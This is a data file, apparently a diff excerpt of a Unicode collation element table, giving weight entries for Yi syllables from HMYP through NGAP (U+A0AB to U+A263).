+A0AB  ; [.3E6A.0020.0002] # YI SYLLABLE HMYP
+A0AC  ; [.3E6B.0020.0002] # YI SYLLABLE HMYRX
+A0AD  ; [.3E6C.0020.0002] # YI SYLLABLE HMYR
+A0AE  ; [.3E6D.0020.0002] # YI SYLLABLE MIT
+A0AF  ; [.3E6E.0020.0002] # YI SYLLABLE MIX
+A0B0  ; [.3E6F.0020.0002] # YI SYLLABLE MI
+A0B1  ; [.3E70.0020.0002] # YI SYLLABLE MIP
+A0B2  ; [.3E71.0020.0002] # YI SYLLABLE MIEX
+A0B3  ; [.3E72.0020.0002] # YI SYLLABLE MIE
+A0B4  ; [.3E73.0020.0002] # YI SYLLABLE MIEP
+A0B5  ; [.3E74.0020.0002] # YI SYLLABLE MAT
+A0B6  ; [.3E75.0020.0002] # YI SYLLABLE MAX
+A0B7  ; [.3E76.0020.0002] # YI SYLLABLE MA
+A0B8  ; [.3E77.0020.0002] # YI SYLLABLE MAP
+A0B9  ; [.3E78.0020.0002] # YI SYLLABLE MUOT
+A0BA  ; [.3E79.0020.0002] # YI SYLLABLE MUOX
+A0BB  ; [.3E7A.0020.0002] # YI SYLLABLE MUO
+A0BC  ; [.3E7B.0020.0002] # YI SYLLABLE MUOP
+A0BD  ; [.3E7C.0020.0002] # YI SYLLABLE MOT
+A0BE  ; [.3E7D.0020.0002] # YI SYLLABLE MOX
+A0BF  ; [.3E7E.0020.0002] # YI SYLLABLE MO
+A0C0  ; [.3E7F.0020.0002] # YI SYLLABLE MOP
+A0C1  ; [.3E80.0020.0002] # YI SYLLABLE MEX
+A0C2  ; [.3E81.0020.0002] # YI SYLLABLE ME
+A0C3  ; [.3E82.0020.0002] # YI SYLLABLE MUT
+A0C4  ; [.3E83.0020.0002] # YI SYLLABLE MUX
+A0C5  ; [.3E84.0020.0002] # YI SYLLABLE MU
+A0C6  ; [.3E85.0020.0002] # YI SYLLABLE MUP
+A0C7  ; [.3E86.0020.0002] # YI SYLLABLE MURX
+A0C8  ; [.3E87.0020.0002] # YI SYLLABLE MUR
+A0C9  ; [.3E88.0020.0002] # YI SYLLABLE MYT
+A0CA  ; [.3E89.0020.0002] # YI SYLLABLE MYX
+A0CB  ; [.3E8A.0020.0002] # YI SYLLABLE MY
+A0CC  ; [.3E8B.0020.0002] # YI SYLLABLE MYP
+A0CD  ; [.3E8C.0020.0002] # YI SYLLABLE FIT
+A0CE  ; [.3E8D.0020.0002] # YI SYLLABLE FIX
+A0CF  ; [.3E8E.0020.0002] # YI SYLLABLE FI
+A0D0  ; [.3E8F.0020.0002] # YI SYLLABLE FIP
+A0D1  ; [.3E90.0020.0002] # YI SYLLABLE FAT
+A0D2  ; [.3E91.0020.0002] # YI SYLLABLE FAX
+A0D3  ; [.3E92.0020.0002] # YI SYLLABLE FA
+A0D4  ; [.3E93.0020.0002] # YI SYLLABLE FAP
+A0D5  ; [.3E94.0020.0002] # YI SYLLABLE FOX
+A0D6  ; [.3E95.0020.0002] # YI SYLLABLE FO
+A0D7  ; [.3E96.0020.0002] # YI SYLLABLE FOP
+A0D8  ; [.3E97.0020.0002] # YI SYLLABLE FUT
+A0D9  ; [.3E98.0020.0002] # YI SYLLABLE FUX
+A0DA  ; [.3E99.0020.0002] # YI SYLLABLE FU
+A0DB  ; [.3E9A.0020.0002] # YI SYLLABLE FUP
+A0DC  ; [.3E9B.0020.0002] # YI SYLLABLE FURX
+A0DD  ; [.3E9C.0020.0002] # YI SYLLABLE FUR
+A0DE  ; [.3E9D.0020.0002] # YI SYLLABLE FYT
+A0DF  ; [.3E9E.0020.0002] # YI SYLLABLE FYX
+A0E0  ; [.3E9F.0020.0002] # YI SYLLABLE FY
+A0E1  ; [.3EA0.0020.0002] # YI SYLLABLE FYP
+A0E2  ; [.3EA1.0020.0002] # YI SYLLABLE VIT
+A0E3  ; [.3EA2.0020.0002] # YI SYLLABLE VIX
+A0E4  ; [.3EA3.0020.0002] # YI SYLLABLE VI
+A0E5  ; [.3EA4.0020.0002] # YI SYLLABLE VIP
+A0E6  ; [.3EA5.0020.0002] # YI SYLLABLE VIET
+A0E7  ; [.3EA6.0020.0002] # YI SYLLABLE VIEX
+A0E8  ; [.3EA7.0020.0002] # YI SYLLABLE VIE
+A0E9  ; [.3EA8.0020.0002] # YI SYLLABLE VIEP
+A0EA  ; [.3EA9.0020.0002] # YI SYLLABLE VAT
+A0EB  ; [.3EAA.0020.0002] # YI SYLLABLE VAX
+A0EC  ; [.3EAB.0020.0002] # YI SYLLABLE VA
+A0ED  ; [.3EAC.0020.0002] # YI SYLLABLE VAP
+A0EE  ; [.3EAD.0020.0002] # YI SYLLABLE VOT
+A0EF  ; [.3EAE.0020.0002] # YI SYLLABLE VOX
+A0F0  ; [.3EAF.0020.0002] # YI SYLLABLE VO
+A0F1  ; [.3EB0.0020.0002] # YI SYLLABLE VOP
+A0F2  ; [.3EB1.0020.0002] # YI SYLLABLE VEX
+A0F3  ; [.3EB2.0020.0002] # YI SYLLABLE VEP
+A0F4  ; [.3EB3.0020.0002] # YI SYLLABLE VUT
+A0F5  ; [.3EB4.0020.0002] # YI SYLLABLE VUX
+A0F6  ; [.3EB5.0020.0002] # YI SYLLABLE VU
+A0F7  ; [.3EB6.0020.0002] # YI SYLLABLE VUP
+A0F8  ; [.3EB7.0020.0002] # YI SYLLABLE VURX
+A0F9  ; [.3EB8.0020.0002] # YI SYLLABLE VUR
+A0FA  ; [.3EB9.0020.0002] # YI SYLLABLE VYT
+A0FB  ; [.3EBA.0020.0002] # YI SYLLABLE VYX
+A0FC  ; [.3EBB.0020.0002] # YI SYLLABLE VY
+A0FD  ; [.3EBC.0020.0002] # YI SYLLABLE VYP
+A0FE  ; [.3EBD.0020.0002] # YI SYLLABLE VYRX
+A0FF  ; [.3EBE.0020.0002] # YI SYLLABLE VYR
+A100  ; [.3EBF.0020.0002] # YI SYLLABLE DIT
+A101  ; [.3EC0.0020.0002] # YI SYLLABLE DIX
+A102  ; [.3EC1.0020.0002] # YI SYLLABLE DI
+A103  ; [.3EC2.0020.0002] # YI SYLLABLE DIP
+A104  ; [.3EC3.0020.0002] # YI SYLLABLE DIEX
+A105  ; [.3EC4.0020.0002] # YI SYLLABLE DIE
+A106  ; [.3EC5.0020.0002] # YI SYLLABLE DIEP
+A107  ; [.3EC6.0020.0002] # YI SYLLABLE DAT
+A108  ; [.3EC7.0020.0002] # YI SYLLABLE DAX
+A109  ; [.3EC8.0020.0002] # YI SYLLABLE DA
+A10A  ; [.3EC9.0020.0002] # YI SYLLABLE DAP
+A10B  ; [.3ECA.0020.0002] # YI SYLLABLE DUOX
+A10C  ; [.3ECB.0020.0002] # YI SYLLABLE DUO
+A10D  ; [.3ECC.0020.0002] # YI SYLLABLE DOT
+A10E  ; [.3ECD.0020.0002] # YI SYLLABLE DOX
+A10F  ; [.3ECE.0020.0002] # YI SYLLABLE DO
+A110  ; [.3ECF.0020.0002] # YI SYLLABLE DOP
+A111  ; [.3ED0.0020.0002] # YI SYLLABLE DEX
+A112  ; [.3ED1.0020.0002] # YI SYLLABLE DE
+A113  ; [.3ED2.0020.0002] # YI SYLLABLE DEP
+A114  ; [.3ED3.0020.0002] # YI SYLLABLE DUT
+A115  ; [.3ED4.0020.0002] # YI SYLLABLE DUX
+A116  ; [.3ED5.0020.0002] # YI SYLLABLE DU
+A117  ; [.3ED6.0020.0002] # YI SYLLABLE DUP
+A118  ; [.3ED7.0020.0002] # YI SYLLABLE DURX
+A119  ; [.3ED8.0020.0002] # YI SYLLABLE DUR
+A11A  ; [.3ED9.0020.0002] # YI SYLLABLE TIT
+A11B  ; [.3EDA.0020.0002] # YI SYLLABLE TIX
+A11C  ; [.3EDB.0020.0002] # YI SYLLABLE TI
+A11D  ; [.3EDC.0020.0002] # YI SYLLABLE TIP
+A11E  ; [.3EDD.0020.0002] # YI SYLLABLE TIEX
+A11F  ; [.3EDE.0020.0002] # YI SYLLABLE TIE
+A120  ; [.3EDF.0020.0002] # YI SYLLABLE TIEP
+A121  ; [.3EE0.0020.0002] # YI SYLLABLE TAT
+A122  ; [.3EE1.0020.0002] # YI SYLLABLE TAX
+A123  ; [.3EE2.0020.0002] # YI SYLLABLE TA
+A124  ; [.3EE3.0020.0002] # YI SYLLABLE TAP
+A125  ; [.3EE4.0020.0002] # YI SYLLABLE TUOT
+A126  ; [.3EE5.0020.0002] # YI SYLLABLE TUOX
+A127  ; [.3EE6.0020.0002] # YI SYLLABLE TUO
+A128  ; [.3EE7.0020.0002] # YI SYLLABLE TUOP
+A129  ; [.3EE8.0020.0002] # YI SYLLABLE TOT
+A12A  ; [.3EE9.0020.0002] # YI SYLLABLE TOX
+A12B  ; [.3EEA.0020.0002] # YI SYLLABLE TO
+A12C  ; [.3EEB.0020.0002] # YI SYLLABLE TOP
+A12D  ; [.3EEC.0020.0002] # YI SYLLABLE TEX
+A12E  ; [.3EED.0020.0002] # YI SYLLABLE TE
+A12F  ; [.3EEE.0020.0002] # YI SYLLABLE TEP
+A130  ; [.3EEF.0020.0002] # YI SYLLABLE TUT
+A131  ; [.3EF0.0020.0002] # YI SYLLABLE TUX
+A132  ; [.3EF1.0020.0002] # YI SYLLABLE TU
+A133  ; [.3EF2.0020.0002] # YI SYLLABLE TUP
+A134  ; [.3EF3.0020.0002] # YI SYLLABLE TURX
+A135  ; [.3EF4.0020.0002] # YI SYLLABLE TUR
+A136  ; [.3EF5.0020.0002] # YI SYLLABLE DDIT
+A137  ; [.3EF6.0020.0002] # YI SYLLABLE DDIX
+A138  ; [.3EF7.0020.0002] # YI SYLLABLE DDI
+A139  ; [.3EF8.0020.0002] # YI SYLLABLE DDIP
+A13A  ; [.3EF9.0020.0002] # YI SYLLABLE DDIEX
+A13B  ; [.3EFA.0020.0002] # YI SYLLABLE DDIE
+A13C  ; [.3EFB.0020.0002] # YI SYLLABLE DDIEP
+A13D  ; [.3EFC.0020.0002] # YI SYLLABLE DDAT
+A13E  ; [.3EFD.0020.0002] # YI SYLLABLE DDAX
+A13F  ; [.3EFE.0020.0002] # YI SYLLABLE DDA
+A140  ; [.3EFF.0020.0002] # YI SYLLABLE DDAP
+A141  ; [.3F00.0020.0002] # YI SYLLABLE DDUOX
+A142  ; [.3F01.0020.0002] # YI SYLLABLE DDUO
+A143  ; [.3F02.0020.0002] # YI SYLLABLE DDUOP
+A144  ; [.3F03.0020.0002] # YI SYLLABLE DDOT
+A145  ; [.3F04.0020.0002] # YI SYLLABLE DDOX
+A146  ; [.3F05.0020.0002] # YI SYLLABLE DDO
+A147  ; [.3F06.0020.0002] # YI SYLLABLE DDOP
+A148  ; [.3F07.0020.0002] # YI SYLLABLE DDEX
+A149  ; [.3F08.0020.0002] # YI SYLLABLE DDE
+A14A  ; [.3F09.0020.0002] # YI SYLLABLE DDEP
+A14B  ; [.3F0A.0020.0002] # YI SYLLABLE DDUT
+A14C  ; [.3F0B.0020.0002] # YI SYLLABLE DDUX
+A14D  ; [.3F0C.0020.0002] # YI SYLLABLE DDU
+A14E  ; [.3F0D.0020.0002] # YI SYLLABLE DDUP
+A14F  ; [.3F0E.0020.0002] # YI SYLLABLE DDURX
+A150  ; [.3F0F.0020.0002] # YI SYLLABLE DDUR
+A151  ; [.3F10.0020.0002] # YI SYLLABLE NDIT
+A152  ; [.3F11.0020.0002] # YI SYLLABLE NDIX
+A153  ; [.3F12.0020.0002] # YI SYLLABLE NDI
+A154  ; [.3F13.0020.0002] # YI SYLLABLE NDIP
+A155  ; [.3F14.0020.0002] # YI SYLLABLE NDIEX
+A156  ; [.3F15.0020.0002] # YI SYLLABLE NDIE
+A157  ; [.3F16.0020.0002] # YI SYLLABLE NDAT
+A158  ; [.3F17.0020.0002] # YI SYLLABLE NDAX
+A159  ; [.3F18.0020.0002] # YI SYLLABLE NDA
+A15A  ; [.3F19.0020.0002] # YI SYLLABLE NDAP
+A15B  ; [.3F1A.0020.0002] # YI SYLLABLE NDOT
+A15C  ; [.3F1B.0020.0002] # YI SYLLABLE NDOX
+A15D  ; [.3F1C.0020.0002] # YI SYLLABLE NDO
+A15E  ; [.3F1D.0020.0002] # YI SYLLABLE NDOP
+A15F  ; [.3F1E.0020.0002] # YI SYLLABLE NDEX
+A160  ; [.3F1F.0020.0002] # YI SYLLABLE NDE
+A161  ; [.3F20.0020.0002] # YI SYLLABLE NDEP
+A162  ; [.3F21.0020.0002] # YI SYLLABLE NDUT
+A163  ; [.3F22.0020.0002] # YI SYLLABLE NDUX
+A164  ; [.3F23.0020.0002] # YI SYLLABLE NDU
+A165  ; [.3F24.0020.0002] # YI SYLLABLE NDUP
+A166  ; [.3F25.0020.0002] # YI SYLLABLE NDURX
+A167  ; [.3F26.0020.0002] # YI SYLLABLE NDUR
+A168  ; [.3F27.0020.0002] # YI SYLLABLE HNIT
+A169  ; [.3F28.0020.0002] # YI SYLLABLE HNIX
+A16A  ; [.3F29.0020.0002] # YI SYLLABLE HNI
+A16B  ; [.3F2A.0020.0002] # YI SYLLABLE HNIP
+A16C  ; [.3F2B.0020.0002] # YI SYLLABLE HNIET
+A16D  ; [.3F2C.0020.0002] # YI SYLLABLE HNIEX
+A16E  ; [.3F2D.0020.0002] # YI SYLLABLE HNIE
+A16F  ; [.3F2E.0020.0002] # YI SYLLABLE HNIEP
+A170  ; [.3F2F.0020.0002] # YI SYLLABLE HNAT
+A171  ; [.3F30.0020.0002] # YI SYLLABLE HNAX
+A172  ; [.3F31.0020.0002] # YI SYLLABLE HNA
+A173  ; [.3F32.0020.0002] # YI SYLLABLE HNAP
+A174  ; [.3F33.0020.0002] # YI SYLLABLE HNUOX
+A175  ; [.3F34.0020.0002] # YI SYLLABLE HNUO
+A176  ; [.3F35.0020.0002] # YI SYLLABLE HNOT
+A177  ; [.3F36.0020.0002] # YI SYLLABLE HNOX
+A178  ; [.3F37.0020.0002] # YI SYLLABLE HNOP
+A179  ; [.3F38.0020.0002] # YI SYLLABLE HNEX
+A17A  ; [.3F39.0020.0002] # YI SYLLABLE HNE
+A17B  ; [.3F3A.0020.0002] # YI SYLLABLE HNEP
+A17C  ; [.3F3B.0020.0002] # YI SYLLABLE HNUT
+A17D  ; [.3F3C.0020.0002] # YI SYLLABLE NIT
+A17E  ; [.3F3D.0020.0002] # YI SYLLABLE NIX
+A17F  ; [.3F3E.0020.0002] # YI SYLLABLE NI
+A180  ; [.3F3F.0020.0002] # YI SYLLABLE NIP
+A181  ; [.3F40.0020.0002] # YI SYLLABLE NIEX
+A182  ; [.3F41.0020.0002] # YI SYLLABLE NIE
+A183  ; [.3F42.0020.0002] # YI SYLLABLE NIEP
+A184  ; [.3F43.0020.0002] # YI SYLLABLE NAX
+A185  ; [.3F44.0020.0002] # YI SYLLABLE NA
+A186  ; [.3F45.0020.0002] # YI SYLLABLE NAP
+A187  ; [.3F46.0020.0002] # YI SYLLABLE NUOX
+A188  ; [.3F47.0020.0002] # YI SYLLABLE NUO
+A189  ; [.3F48.0020.0002] # YI SYLLABLE NUOP
+A18A  ; [.3F49.0020.0002] # YI SYLLABLE NOT
+A18B  ; [.3F4A.0020.0002] # YI SYLLABLE NOX
+A18C  ; [.3F4B.0020.0002] # YI SYLLABLE NO
+A18D  ; [.3F4C.0020.0002] # YI SYLLABLE NOP
+A18E  ; [.3F4D.0020.0002] # YI SYLLABLE NEX
+A18F  ; [.3F4E.0020.0002] # YI SYLLABLE NE
+A190  ; [.3F4F.0020.0002] # YI SYLLABLE NEP
+A191  ; [.3F50.0020.0002] # YI SYLLABLE NUT
+A192  ; [.3F51.0020.0002] # YI SYLLABLE NUX
+A193  ; [.3F52.0020.0002] # YI SYLLABLE NU
+A194  ; [.3F53.0020.0002] # YI SYLLABLE NUP
+A195  ; [.3F54.0020.0002] # YI SYLLABLE NURX
+A196  ; [.3F55.0020.0002] # YI SYLLABLE NUR
+A197  ; [.3F56.0020.0002] # YI SYLLABLE HLIT
+A198  ; [.3F57.0020.0002] # YI SYLLABLE HLIX
+A199  ; [.3F58.0020.0002] # YI SYLLABLE HLI
+A19A  ; [.3F59.0020.0002] # YI SYLLABLE HLIP
+A19B  ; [.3F5A.0020.0002] # YI SYLLABLE HLIEX
+A19C  ; [.3F5B.0020.0002] # YI SYLLABLE HLIE
+A19D  ; [.3F5C.0020.0002] # YI SYLLABLE HLIEP
+A19E  ; [.3F5D.0020.0002] # YI SYLLABLE HLAT
+A19F  ; [.3F5E.0020.0002] # YI SYLLABLE HLAX
+A1A0  ; [.3F5F.0020.0002] # YI SYLLABLE HLA
+A1A1  ; [.3F60.0020.0002] # YI SYLLABLE HLAP
+A1A2  ; [.3F61.0020.0002] # YI SYLLABLE HLUOX
+A1A3  ; [.3F62.0020.0002] # YI SYLLABLE HLUO
+A1A4  ; [.3F63.0020.0002] # YI SYLLABLE HLUOP
+A1A5  ; [.3F64.0020.0002] # YI SYLLABLE HLOX
+A1A6  ; [.3F65.0020.0002] # YI SYLLABLE HLO
+A1A7  ; [.3F66.0020.0002] # YI SYLLABLE HLOP
+A1A8  ; [.3F67.0020.0002] # YI SYLLABLE HLEX
+A1A9  ; [.3F68.0020.0002] # YI SYLLABLE HLE
+A1AA  ; [.3F69.0020.0002] # YI SYLLABLE HLEP
+A1AB  ; [.3F6A.0020.0002] # YI SYLLABLE HLUT
+A1AC  ; [.3F6B.0020.0002] # YI SYLLABLE HLUX
+A1AD  ; [.3F6C.0020.0002] # YI SYLLABLE HLU
+A1AE  ; [.3F6D.0020.0002] # YI SYLLABLE HLUP
+A1AF  ; [.3F6E.0020.0002] # YI SYLLABLE HLURX
+A1B0  ; [.3F6F.0020.0002] # YI SYLLABLE HLUR
+A1B1  ; [.3F70.0020.0002] # YI SYLLABLE HLYT
+A1B2  ; [.3F71.0020.0002] # YI SYLLABLE HLYX
+A1B3  ; [.3F72.0020.0002] # YI SYLLABLE HLY
+A1B4  ; [.3F73.0020.0002] # YI SYLLABLE HLYP
+A1B5  ; [.3F74.0020.0002] # YI SYLLABLE HLYRX
+A1B6  ; [.3F75.0020.0002] # YI SYLLABLE HLYR
+A1B7  ; [.3F76.0020.0002] # YI SYLLABLE LIT
+A1B8  ; [.3F77.0020.0002] # YI SYLLABLE LIX
+A1B9  ; [.3F78.0020.0002] # YI SYLLABLE LI
+A1BA  ; [.3F79.0020.0002] # YI SYLLABLE LIP
+A1BB  ; [.3F7A.0020.0002] # YI SYLLABLE LIET
+A1BC  ; [.3F7B.0020.0002] # YI SYLLABLE LIEX
+A1BD  ; [.3F7C.0020.0002] # YI SYLLABLE LIE
+A1BE  ; [.3F7D.0020.0002] # YI SYLLABLE LIEP
+A1BF  ; [.3F7E.0020.0002] # YI SYLLABLE LAT
+A1C0  ; [.3F7F.0020.0002] # YI SYLLABLE LAX
+A1C1  ; [.3F80.0020.0002] # YI SYLLABLE LA
+A1C2  ; [.3F81.0020.0002] # YI SYLLABLE LAP
+A1C3  ; [.3F82.0020.0002] # YI SYLLABLE LUOT
+A1C4  ; [.3F83.0020.0002] # YI SYLLABLE LUOX
+A1C5  ; [.3F84.0020.0002] # YI SYLLABLE LUO
+A1C6  ; [.3F85.0020.0002] # YI SYLLABLE LUOP
+A1C7  ; [.3F86.0020.0002] # YI SYLLABLE LOT
+A1C8  ; [.3F87.0020.0002] # YI SYLLABLE LOX
+A1C9  ; [.3F88.0020.0002] # YI SYLLABLE LO
+A1CA  ; [.3F89.0020.0002] # YI SYLLABLE LOP
+A1CB  ; [.3F8A.0020.0002] # YI SYLLABLE LEX
+A1CC  ; [.3F8B.0020.0002] # YI SYLLABLE LE
+A1CD  ; [.3F8C.0020.0002] # YI SYLLABLE LEP
+A1CE  ; [.3F8D.0020.0002] # YI SYLLABLE LUT
+A1CF  ; [.3F8E.0020.0002] # YI SYLLABLE LUX
+A1D0  ; [.3F8F.0020.0002] # YI SYLLABLE LU
+A1D1  ; [.3F90.0020.0002] # YI SYLLABLE LUP
+A1D2  ; [.3F91.0020.0002] # YI SYLLABLE LURX
+A1D3  ; [.3F92.0020.0002] # YI SYLLABLE LUR
+A1D4  ; [.3F93.0020.0002] # YI SYLLABLE LYT
+A1D5  ; [.3F94.0020.0002] # YI SYLLABLE LYX
+A1D6  ; [.3F95.0020.0002] # YI SYLLABLE LY
+A1D7  ; [.3F96.0020.0002] # YI SYLLABLE LYP
+A1D8  ; [.3F97.0020.0002] # YI SYLLABLE LYRX
+A1D9  ; [.3F98.0020.0002] # YI SYLLABLE LYR
+A1DA  ; [.3F99.0020.0002] # YI SYLLABLE GIT
+A1DB  ; [.3F9A.0020.0002] # YI SYLLABLE GIX
+A1DC  ; [.3F9B.0020.0002] # YI SYLLABLE GI
+A1DD  ; [.3F9C.0020.0002] # YI SYLLABLE GIP
+A1DE  ; [.3F9D.0020.0002] # YI SYLLABLE GIET
+A1DF  ; [.3F9E.0020.0002] # YI SYLLABLE GIEX
+A1E0  ; [.3F9F.0020.0002] # YI SYLLABLE GIE
+A1E1  ; [.3FA0.0020.0002] # YI SYLLABLE GIEP
+A1E2  ; [.3FA1.0020.0002] # YI SYLLABLE GAT
+A1E3  ; [.3FA2.0020.0002] # YI SYLLABLE GAX
+A1E4  ; [.3FA3.0020.0002] # YI SYLLABLE GA
+A1E5  ; [.3FA4.0020.0002] # YI SYLLABLE GAP
+A1E6  ; [.3FA5.0020.0002] # YI SYLLABLE GUOT
+A1E7  ; [.3FA6.0020.0002] # YI SYLLABLE GUOX
+A1E8  ; [.3FA7.0020.0002] # YI SYLLABLE GUO
+A1E9  ; [.3FA8.0020.0002] # YI SYLLABLE GUOP
+A1EA  ; [.3FA9.0020.0002] # YI SYLLABLE GOT
+A1EB  ; [.3FAA.0020.0002] # YI SYLLABLE GOX
+A1EC  ; [.3FAB.0020.0002] # YI SYLLABLE GO
+A1ED  ; [.3FAC.0020.0002] # YI SYLLABLE GOP
+A1EE  ; [.3FAD.0020.0002] # YI SYLLABLE GET
+A1EF  ; [.3FAE.0020.0002] # YI SYLLABLE GEX
+A1F0  ; [.3FAF.0020.0002] # YI SYLLABLE GE
+A1F1  ; [.3FB0.0020.0002] # YI SYLLABLE GEP
+A1F2  ; [.3FB1.0020.0002] # YI SYLLABLE GUT
+A1F3  ; [.3FB2.0020.0002] # YI SYLLABLE GUX
+A1F4  ; [.3FB3.0020.0002] # YI SYLLABLE GU
+A1F5  ; [.3FB4.0020.0002] # YI SYLLABLE GUP
+A1F6  ; [.3FB5.0020.0002] # YI SYLLABLE GURX
+A1F7  ; [.3FB6.0020.0002] # YI SYLLABLE GUR
+A1F8  ; [.3FB7.0020.0002] # YI SYLLABLE KIT
+A1F9  ; [.3FB8.0020.0002] # YI SYLLABLE KIX
+A1FA  ; [.3FB9.0020.0002] # YI SYLLABLE KI
+A1FB  ; [.3FBA.0020.0002] # YI SYLLABLE KIP
+A1FC  ; [.3FBB.0020.0002] # YI SYLLABLE KIEX
+A1FD  ; [.3FBC.0020.0002] # YI SYLLABLE KIE
+A1FE  ; [.3FBD.0020.0002] # YI SYLLABLE KIEP
+A1FF  ; [.3FBE.0020.0002] # YI SYLLABLE KAT
+A200  ; [.3FBF.0020.0002] # YI SYLLABLE KAX
+A201  ; [.3FC0.0020.0002] # YI SYLLABLE KA
+A202  ; [.3FC1.0020.0002] # YI SYLLABLE KAP
+A203  ; [.3FC2.0020.0002] # YI SYLLABLE KUOX
+A204  ; [.3FC3.0020.0002] # YI SYLLABLE KUO
+A205  ; [.3FC4.0020.0002] # YI SYLLABLE KUOP
+A206  ; [.3FC5.0020.0002] # YI SYLLABLE KOT
+A207  ; [.3FC6.0020.0002] # YI SYLLABLE KOX
+A208  ; [.3FC7.0020.0002] # YI SYLLABLE KO
+A209  ; [.3FC8.0020.0002] # YI SYLLABLE KOP
+A20A  ; [.3FC9.0020.0002] # YI SYLLABLE KET
+A20B  ; [.3FCA.0020.0002] # YI SYLLABLE KEX
+A20C  ; [.3FCB.0020.0002] # YI SYLLABLE KE
+A20D  ; [.3FCC.0020.0002] # YI SYLLABLE KEP
+A20E  ; [.3FCD.0020.0002] # YI SYLLABLE KUT
+A20F  ; [.3FCE.0020.0002] # YI SYLLABLE KUX
+A210  ; [.3FCF.0020.0002] # YI SYLLABLE KU
+A211  ; [.3FD0.0020.0002] # YI SYLLABLE KUP
+A212  ; [.3FD1.0020.0002] # YI SYLLABLE KURX
+A213  ; [.3FD2.0020.0002] # YI SYLLABLE KUR
+A214  ; [.3FD3.0020.0002] # YI SYLLABLE GGIT
+A215  ; [.3FD4.0020.0002] # YI SYLLABLE GGIX
+A216  ; [.3FD5.0020.0002] # YI SYLLABLE GGI
+A217  ; [.3FD6.0020.0002] # YI SYLLABLE GGIEX
+A218  ; [.3FD7.0020.0002] # YI SYLLABLE GGIE
+A219  ; [.3FD8.0020.0002] # YI SYLLABLE GGIEP
+A21A  ; [.3FD9.0020.0002] # YI SYLLABLE GGAT
+A21B  ; [.3FDA.0020.0002] # YI SYLLABLE GGAX
+A21C  ; [.3FDB.0020.0002] # YI SYLLABLE GGA
+A21D  ; [.3FDC.0020.0002] # YI SYLLABLE GGAP
+A21E  ; [.3FDD.0020.0002] # YI SYLLABLE GGUOT
+A21F  ; [.3FDE.0020.0002] # YI SYLLABLE GGUOX
+A220  ; [.3FDF.0020.0002] # YI SYLLABLE GGUO
+A221  ; [.3FE0.0020.0002] # YI SYLLABLE GGUOP
+A222  ; [.3FE1.0020.0002] # YI SYLLABLE GGOT
+A223  ; [.3FE2.0020.0002] # YI SYLLABLE GGOX
+A224  ; [.3FE3.0020.0002] # YI SYLLABLE GGO
+A225  ; [.3FE4.0020.0002] # YI SYLLABLE GGOP
+A226  ; [.3FE5.0020.0002] # YI SYLLABLE GGET
+A227  ; [.3FE6.0020.0002] # YI SYLLABLE GGEX
+A228  ; [.3FE7.0020.0002] # YI SYLLABLE GGE
+A229  ; [.3FE8.0020.0002] # YI SYLLABLE GGEP
+A22A  ; [.3FE9.0020.0002] # YI SYLLABLE GGUT
+A22B  ; [.3FEA.0020.0002] # YI SYLLABLE GGUX
+A22C  ; [.3FEB.0020.0002] # YI SYLLABLE GGU
+A22D  ; [.3FEC.0020.0002] # YI SYLLABLE GGUP
+A22E  ; [.3FED.0020.0002] # YI SYLLABLE GGURX
+A22F  ; [.3FEE.0020.0002] # YI SYLLABLE GGUR
+A230  ; [.3FEF.0020.0002] # YI SYLLABLE MGIEX
+A231  ; [.3FF0.0020.0002] # YI SYLLABLE MGIE
+A232  ; [.3FF1.0020.0002] # YI SYLLABLE MGAT
+A233  ; [.3FF2.0020.0002] # YI SYLLABLE MGAX
+A234  ; [.3FF3.0020.0002] # YI SYLLABLE MGA
+A235  ; [.3FF4.0020.0002] # YI SYLLABLE MGAP
+A236  ; [.3FF5.0020.0002] # YI SYLLABLE MGUOX
+A237  ; [.3FF6.0020.0002] # YI SYLLABLE MGUO
+A238  ; [.3FF7.0020.0002] # YI SYLLABLE MGUOP
+A239  ; [.3FF8.0020.0002] # YI SYLLABLE MGOT
+A23A  ; [.3FF9.0020.0002] # YI SYLLABLE MGOX
+A23B  ; [.3FFA.0020.0002] # YI SYLLABLE MGO
+A23C  ; [.3FFB.0020.0002] # YI SYLLABLE MGOP
+A23D  ; [.3FFC.0020.0002] # YI SYLLABLE MGEX
+A23E  ; [.3FFD.0020.0002] # YI SYLLABLE MGE
+A23F  ; [.3FFE.0020.0002] # YI SYLLABLE MGEP
+A240  ; [.3FFF.0020.0002] # YI SYLLABLE MGUT
+A241  ; [.4000.0020.0002] # YI SYLLABLE MGUX
+A242  ; [.4001.0020.0002] # YI SYLLABLE MGU
+A243  ; [.4002.0020.0002] # YI SYLLABLE MGUP
+A244  ; [.4003.0020.0002] # YI SYLLABLE MGURX
+A245  ; [.4004.0020.0002] # YI SYLLABLE MGUR
+A246  ; [.4005.0020.0002] # YI SYLLABLE HXIT
+A247  ; [.4006.0020.0002] # YI SYLLABLE HXIX
+A248  ; [.4007.0020.0002] # YI SYLLABLE HXI
+A249  ; [.4008.0020.0002] # YI SYLLABLE HXIP
+A24A  ; [.4009.0020.0002] # YI SYLLABLE HXIET
+A24B  ; [.400A.0020.0002] # YI SYLLABLE HXIEX
+A24C  ; [.400B.0020.0002] # YI SYLLABLE HXIE
+A24D  ; [.400C.0020.0002] # YI SYLLABLE HXIEP
+A24E  ; [.400D.0020.0002] # YI SYLLABLE HXAT
+A24F  ; [.400E.0020.0002] # YI SYLLABLE HXAX
+A250  ; [.400F.0020.0002] # YI SYLLABLE HXA
+A251  ; [.4010.0020.0002] # YI SYLLABLE HXAP
+A252  ; [.4011.0020.0002] # YI SYLLABLE HXUOT
+A253  ; [.4012.0020.0002] # YI SYLLABLE HXUOX
+A254  ; [.4013.0020.0002] # YI SYLLABLE HXUO
+A255  ; [.4014.0020.0002] # YI SYLLABLE HXUOP
+A256  ; [.4015.0020.0002] # YI SYLLABLE HXOT
+A257  ; [.4016.0020.0002] # YI SYLLABLE HXOX
+A258  ; [.4017.0020.0002] # YI SYLLABLE HXO
+A259  ; [.4018.0020.0002] # YI SYLLABLE HXOP
+A25A  ; [.4019.0020.0002] # YI SYLLABLE HXEX
+A25B  ; [.401A.0020.0002] # YI SYLLABLE HXE
+A25C  ; [.401B.0020.0002] # YI SYLLABLE HXEP
+A25D  ; [.401C.0020.0002] # YI SYLLABLE NGIEX
+A25E  ; [.401D.0020.0002] # YI SYLLABLE NGIE
+A25F  ; [.401E.0020.0002] # YI SYLLABLE NGIEP
+A260  ; [.401F.0020.0002] # YI SYLLABLE NGAT
+A261  ; [.4020.0020.0002] # YI SYLLABLE NGAX
+A262  ; [.4021.0020.0002] # YI SYLLABLE NGA
+A263  ; [.4022.0020.0002] # YI SYLLABLE NGAP
